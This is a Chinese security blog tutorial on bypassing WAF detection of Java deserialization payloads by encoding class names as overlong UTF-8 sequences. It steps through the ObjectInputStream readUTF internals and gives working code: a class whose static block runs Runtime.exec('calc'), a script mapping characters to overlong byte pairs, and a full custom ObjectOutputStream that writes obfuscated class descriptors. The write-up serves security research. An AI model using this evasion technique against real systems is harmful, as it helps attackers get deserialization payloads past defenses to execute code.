UTF-8 Overlong绕过waf姿势

11 分钟

前言

在地铁上无意中看了@1ue师傅关于通过UTF-8超长字符转换的原因绕过反序列化的时候关键类名的检测,是一种我还没怎么见过的新方式,于是参考着学习一番。

关于UTF-8编码

UTF-8编码是最流行的编码方式,无论是写代码进行字节转换的时候,都知道输入转换UTF-8,但是我还没怎么了解过UTF-8编码的具体原理。

占用字节数范围第一个字节第二个字节第三个字节第四个字节
1U+0000至U+007F0xxxxxxx
2U+0080 到U+07FF110xxxxx10xxxxxx
3U+0800到U+FFFF1110xxxx10xxxxxx10xxxxxx
4U+10000到U+10FFFF11110xxx10xxxxxx10xxxxxx10xxxxxx

以人民币符号为例,它是Unicod码典为U+FFE5:

  • U+FFE5位于占用3字节数的范围内,所以UTF-8的编码长度为3
  • 0xFFE5转换成16进制为15*16**3+15*16**2+14*16**1+5对应的二进制为1111 111111 100101分成4、6、6的形式,如果第一位不足4位则前面补0,这里刚好满足
  • 依据表为分成的二进制添加前缀,结果为11101111 10111111 10100101对应着0xef 0xbf 0xa5,解码后的符号就为

image-20240224095756815

UTF-8 超长字符串的问题

根据UTF-8编码的规范表,每一个字符都有相应的字节数和表示方式,那如果根据UTF-8编码的规范表,将占用 1字节数的编码强行转换为2字节以上的UTF-8编码就会出现非法的UTF-8字符,而Java在反序列化使用readObject的时候使用的readUTF方法也是UTF-8编码,不过它只在3字节以内,但是同样也是有这种超长字符串转换的缺陷。

以符号a举例说明,a对应的ASCII编码表为97,它的unicode编码的同样一致为0x61,根据UTF-8编码表的规范它应该为01100001

如果强制把它转换成2字节的表示方法,1100001分为5,6两组,对应 1 100001,前面不足5位向前补0,变成00001 100001,最终加上前缀变成11000001 10100001 ,转换成字节的结果为\xc1\xa1

因为没有限制的向前补0和没有遵循UTF-8依据最小字节数来表示的规范,因此出现了\xc1\xa1这个非法的UTF-8的字符(使用python进行decode是出现报错的),但是这个字符确实是依据UTF-8的规范表转换成的,而Java对这类的情况并没有做防御,导致了安全问题。

关于反序列化时readObejct

一般在waf在进行反序列化的恶意类进行检测时候,会获取到反序列化的字节流,然后通过黑名单的匹配字节流中是否出现了恶意的类,从而阻止反序列化,之前出现过通过反序列化的协议,去填充脏字符串的扰乱waf的检测的思路,而这次的思路是通过UTF-8超长编码的形式,从而使得恶意的类名不存在了,但是又能被正确解码解析,去绕过waf的检测。

package com.example.waf;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class Test implements Serializable {
    static {
        try{
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) throws IOException {
        Test test=new Test();
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
        ObjectOutputStream outputStream=new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(test);
        System.out.println(byteArrayOutputStream);
    }
}

image-20240224102550085

在以上的情况下,序列化的数据是存在类名的,如果能让类名直接转换,不以类名的形式显示,就可能绕过waf的检测

下面通过debug分析一下readObject的一些流程:

在进入readObject方法后,通过enableOverride判断是否为重写了readObject或定制的方法,如不是进入到readObject0里面

image-20240224103530672

readObejct0中,通过getBlockDataMode获取数据块的读取模式,如果oldMode为0,表示当前流处于块数据模式。块数据模式意味着当前正在读取一个块数据,而不是单个对象。

image-20240224104319274

读取完数据的内容到bin后,进入while循环,遍历数据中的内容,通过标志位的内容进入不同的case中,进行不同的处理,其实在之前填充脏数据绕过的时候是可以看到有很多标志位标记了不同的类型的,它是类似于一种XML结构的东西。

image-20240224104707197

进入到readOrdinaryObject中后,unshared判断是否是共享对象,随后进入到readClassDesc中,通过peekByte()方法查看下一个字节流中的值(不移动位置),根据下一个流的值进入不同的case,这里其实与之前TC_CLASSDESC - 0x72是对应上的,进入到readNonProxyDesc中。

image-20240224105004891

readNonProxyDesc先做的操作是创建了ObjectStramClass当前读取的类,通过unshared字段来为对象进行处理句柄的分配,这里的作用应当用于在序列化和反序列化中标识对象,从而能够使用相同的处理器保持相互之间的引用关系,然后进入到了readClassDescriptor

image-20240224105324194

直至来到readNonProxy方法中,出现了前文所说的readUTF方法用于读取一个以 UTF-8 格式编码的字符串。

image-20240224105716884

readUTF方法会直接进入到readUTFBody方法中,首次进入的时候首先是判断是否是非块模式,将读取位置和结束位置都设置为0,并且经过utflen来设置结束位置的的大小(这里是20),再进行循环,当avail>=3时,会进入readUTFSpan中。

image-20240224110335853

readUTFSpan中会通过while循环以及不同的case,通过遍历索引的值的形式,读取我们的的类名com.example.Test,并赋值给前面的StringBuilder,从代码自带的注释中可以看到UTF-83字节内的代码规范,通过取Byte数组中高四位判断是多少位字节的规范。

 private long readUTFSpan(StringBuilder sbuf, long utflen)
            throws IOException
        {
            int cpos = 0;
            int start = pos;
            int avail = Math.min(end - pos, CHAR_BUF_SIZE);
            // stop short of last char unless all of utf bytes in buffer
            int stop = pos + ((utflen > avail) ? avail - 2 : (int) utflen);
            boolean outOfBounds = false;

            try {
                while (pos < stop) {
                    int b1, b2, b3;
                    b1 = buf[pos++] & 0xFF;
                    switch (b1 >> 4) {
                        case 0:
                        case 1:
                        case 2:
                        case 3:
                        case 4:
                        case 5:
                        case 6:
                        case 7:   // 1 byte format: 0xxxxxxx
                            cbuf[cpos++] = (char) b1;
                            break;

                        case 12:
                        case 13:  // 2 byte format: 110xxxxx 10xxxxxx
                            b2 = buf[pos++];
                            if ((b2 & 0xC0) != 0x80) {
                                throw new UTFDataFormatException();
                            }
                            cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
                                                   ((b2 & 0x3F) << 0));
                            break;

                        case 14:  // 3 byte format: 1110xxxx 10xxxxxx 10xxxxxx
                            b3 = buf[pos + 1];
                            b2 = buf[pos + 0];
                            pos += 2;
                            if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
                                throw new UTFDataFormatException();
                            }
                            cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
                                                   ((b2 & 0x3F) << 6) |
                                                   ((b3 & 0x3F) << 0));
                            break;

                        default:  // 10xx xxxx, 1111 xxxx
                            throw new UTFDataFormatException();
                    }
                }
            } catch (ArrayIndexOutOfBoundsException ex) {
                outOfBounds = true;
            } finally {
                if (outOfBounds || (pos - start) > utflen) {
                    pos = start + (int) utflen;
                    throw new UTFDataFormatException();
                }
            }

            sbuf.append(cbuf, 0, cpos);
            return pos - start;
        }

就比如说我们的e字符,对应的unicode是101,不超过128在右移四位都在7范围内,必定会来到直接赋值的逻辑。

case 7:   
       cbuf[cpos++] = (char) b1;
       break;

但是下面还有case12-13,case14存在不同的处理逻辑,如果能够通过下面的两种逻辑来同样获得e字符,那么就通过利用UTF-8超长字符的缺陷来混淆了e字符,可以爆破一下,其实有很多,就比如说我们的0x81,0x25,但是不能取这个,取到的数右移4位要在12、13或者14,如果取81会出现case8的报错,这里可以取c1a5

package com.example.waf;



public class CaseByte {
    public static void main(String[] args) {

        for (int b1 = 0; b1 <= 255; b1++) {
            for (int b2 = 0; b2 <= 255; b2++) {
                int result = (b1 & 0x1F) << 6 | (b2 & 0x3F) << 0;
                if ((b2 & 0xC0) == 0x80 && result == 101) {
                    System.out.println("Found b1: " + Integer.toHexString(b1) + ", b2: " + Integer.toHexString(b2));
                }
            }
        }
    }
}

image-20240224134229378

进行调试,发现e是成功被解码的,但是返回之后最后面的T没有了,原因是因为utflen的长度是决定循环的次数的,你这里多了一个byte,但是utflen的长度依旧是20,导致最后面一个byte没有循环到。

image-20240224134158618

以下代码是关于utflen计算,其实就是通过读取数据中类名前面的哪一位的十六进制的值来确定len

image-20240224134838161

根据反序列化协议的格式也可以看出来,所以这里我们只需要把前面长度的值+1,即可完成混淆。

image-20240224135552869

将原本前面的示例类中的14改成15即可。

image-20240224135721146

最终可以看到并不影响反序列化触发命令执行的问题。image-20240224135815146

那么理论上是可以将所有的类名都依据这种方式来处理,因为反序列化的时候是通过readNonProxy来读取处理,那么在序列化的时候,我们重写它的WriteNonProxy方法对应即可。

image-20240224171032939

首先可以通过脚本跑出所有的字符的表示方式:

package com.example.waf;

public class CaseByte {
    public static void main(String[] args) {
        String str=".;$[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
        int[] asciiArray = new int[str.length()];
        for (int i = 0; i < str.length(); i++) {
            char ch = str.charAt(i);
            int ascii = (int) ch;
            asciiArray[i] = ascii;
        }
        for(int i=0;i<str.length();i++) {
            for (int b1 = 0; b1 <= 255; b1++) {
                for (int b2 = 0; b2 <= 255; b2++) {
                    int result = (b1 & 0x1F) << 6 | (b2 & 0x3F) << 0;
                    if ((b2 & 0xC0) == 0x80 && result == asciiArray[i]) {
                        if ( 0xc0<=b1&&b1<=0xd0)
                            System.out.println("map.put('"+(char)asciiArray[i]+"',new int[]{"+"0x"+Integer.toHexString(b1)+","+"0x"+Integer.toHexString(b2)+"}"+");");
                            break;
                    }
                }
            }
        }
    }
}

随后在write的时候,遍历类名,替换成上面的OverLong,再通过反射重写一次WriteNonProxy代码即可。

以下直接赋值@1ue师傅的脚本,做了一些简单的注释说明:

package com.example.waf;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;

public class MyObjectOuputStream  extends ObjectOutputStream {
    private static HashMap<Character,int[]> map;

    static {
        map=new HashMap<>();
        map.put('.',new int[]{0xc0,0xae});
        map.put(';',new int[]{0xc0,0xbb});
        map.put('$',new int[]{0xc0,0xa4});
        map.put('[',new int[]{0xc1,0x9b});
        map.put(']',new int[]{0xc1,0x9d});
        map.put('a',new int[]{0xc1,0xa1});
        map.put('b',new int[]{0xc1,0xa2});
        map.put('c',new int[]{0xc1,0xa3});
        map.put('d',new int[]{0xc1,0xa4});
        map.put('e',new int[]{0xc1,0xa5});
        map.put('f',new int[]{0xc1,0xa6});
        map.put('g',new int[]{0xc1,0xa7});
        map.put('h',new int[]{0xc1,0xa8});
        map.put('i',new int[]{0xc1,0xa9});
        map.put('j',new int[]{0xc1,0xaa});
        map.put('k',new int[]{0xc1,0xab});
        map.put('l',new int[]{0xc1,0xac});
        map.put('m',new int[]{0xc1,0xad});
        map.put('n',new int[]{0xc1,0xae});
        map.put('o',new int[]{0xc1,0xaf});
        map.put('p',new int[]{0xc1,0xb0});
        map.put('q',new int[]{0xc1,0xb1});
        map.put('r',new int[]{0xc1,0xb2});
        map.put('s',new int[]{0xc1,0xb3});
        map.put('t',new int[]{0xc1,0xb4});
        map.put('u',new int[]{0xc1,0xb5});
        map.put('v',new int[]{0xc1,0xb6});
        map.put('w',new int[]{0xc1,0xb7});
        map.put('x',new int[]{0xc1,0xb8});
        map.put('y',new int[]{0xc1,0xb9});
        map.put('z',new int[]{0xc1,0xba});
        map.put('A',new int[]{0xc1,0x81});
        map.put('B',new int[]{0xc1,0x82});
        map.put('C',new int[]{0xc1,0x83});
        map.put('D',new int[]{0xc1,0x84});
        map.put('E',new int[]{0xc1,0x85});
        map.put('F',new int[]{0xc1,0x86});
        map.put('G',new int[]{0xc1,0x87});
        map.put('H',new int[]{0xc1,0x88});
        map.put('I',new int[]{0xc1,0x89});
        map.put('J',new int[]{0xc1,0x8a});
        map.put('K',new int[]{0xc1,0x8b});
        map.put('L',new int[]{0xc1,0x8c});
        map.put('M',new int[]{0xc1,0x8d});
        map.put('N',new int[]{0xc1,0x8e});
        map.put('O',new int[]{0xc1,0x8f});
        map.put('P',new int[]{0xc1,0x90});
        map.put('Q',new int[]{0xc1,0x91});
        map.put('R',new int[]{0xc1,0x92});
        map.put('S',new int[]{0xc1,0x93});
        map.put('T',new int[]{0xc1,0x94});
        map.put('U',new int[]{0xc1,0x95});
        map.put('V',new int[]{0xc1,0x96});
        map.put('W',new int[]{0xc1,0x97});
        map.put('X',new int[]{0xc1,0x98});
        map.put('Y',new int[]{0xc1,0x99});
        map.put('Z',new int[]{0xc1,0x9a});

    }
    public MyObjectOuputStream(OutputStream out) throws IOException {
        super(out);
    }
    @Override
    protected void writeClassDescriptor(ObjectStreamClass desc) throws
            IOException {
        //获取类名并将长度乘2写入流中
        String name = desc.getName();
        writeShort(name.length() * 2);
        //将类名中的每个字符进行UTF-8 OverLong并写入
        for (int i = 0; i < name.length(); i++) {
            char s = name.charAt(i);
            write(map.get(s)[0]);
            write(map.get(s)[1]);
        }
        //获取序列化的ID写入
        writeLong(desc.getSerialVersionUID());

        try {
            byte flags = 0;
            //类是否继承了externalizable接口(也就是是否可外部化)
            if ((boolean)getFieldValue(desc,"externalizable")) {
                flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
                //获取对应的protocol字段的值,判断是否是版本,如果不是,则设置为块数据模式
                Field protocolField =
                        ObjectOutputStream.class.getDeclaredField("protocol");
                protocolField.setAccessible(true);
                int protocol = (int) protocolField.get(this);
                if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
                    flags |= ObjectStreamConstants.SC_BLOCK_DATA;
                }
                //是否集成了序列化接口
            } else if ((boolean)getFieldValue(desc,"serializable")){
                flags |= ObjectStreamConstants.SC_SERIALIZABLE;
            }
            //是否存在writeObject 或 writeExternal方法,
            if ((boolean)getFieldValue(desc,"hasWriteObjectData")) {
                flags |= ObjectStreamConstants.SC_WRITE_METHOD;
            }
            if ((boolean)getFieldValue(desc,"isEnum") ) {
                flags |= ObjectStreamConstants.SC_ENUM;
            }
            //将上面对应的标记位写入
            writeByte(flags);
            //写入类的字段信息
            ObjectStreamField[] fields = (ObjectStreamField[])
                    getFieldValue(desc,"fields");
            writeShort(fields.length);
            //如果字段不是基本类型,使用反射调用 writeTypeString 方法写入类型字符串。
            for (int i = 0; i < fields.length; i++) {
                ObjectStreamField f = fields[i];
                writeByte(f.getTypeCode());
                writeUTF(f.getName());
                //判断当前字段类型是否是基本类型,对非基本类型字段进行处理,通过调用私有方法 writeTypeString 将字段的类型字符串写入输出流
                if (!f.isPrimitive()) {
                    Method writeTypeString =
                            ObjectOutputStream.class.getDeclaredMethod("writeTypeString",String.class);
                    writeTypeString.setAccessible(true);
                    writeTypeString.invoke(this,f.getTypeString());
                }
            }
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        } catch (IllegalAccessException e) {
            throw new RuntimeException(e);
        } catch (NoSuchMethodException e) {
            throw new RuntimeException(e);
        } catch (InvocationTargetException e) {
            throw new RuntimeException(e);
        }
    }
    public static Object getFieldValue(Object object, String fieldName) throws
            NoSuchFieldException, IllegalAccessException {
        Class<?> clazz = object.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        Object value = field.get(object);
        return value;
    }
}

image-20240224172351413

~  ~  The   End  ~  ~


 赏 
承蒙厚爱,倍感珍贵,我会继续努力哒!
logo图像
tips
文章二维码 分类标签:Web安全Web安全
文章标题:UTF-8 Overlong绕过waf姿势
文章链接:https://aiwin.fun/index.php/archives/4381/
最后编辑:2024 年 2 月 24 日 17:40 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)
(*) 8 + 6 =
快来做第一个评论的人吧~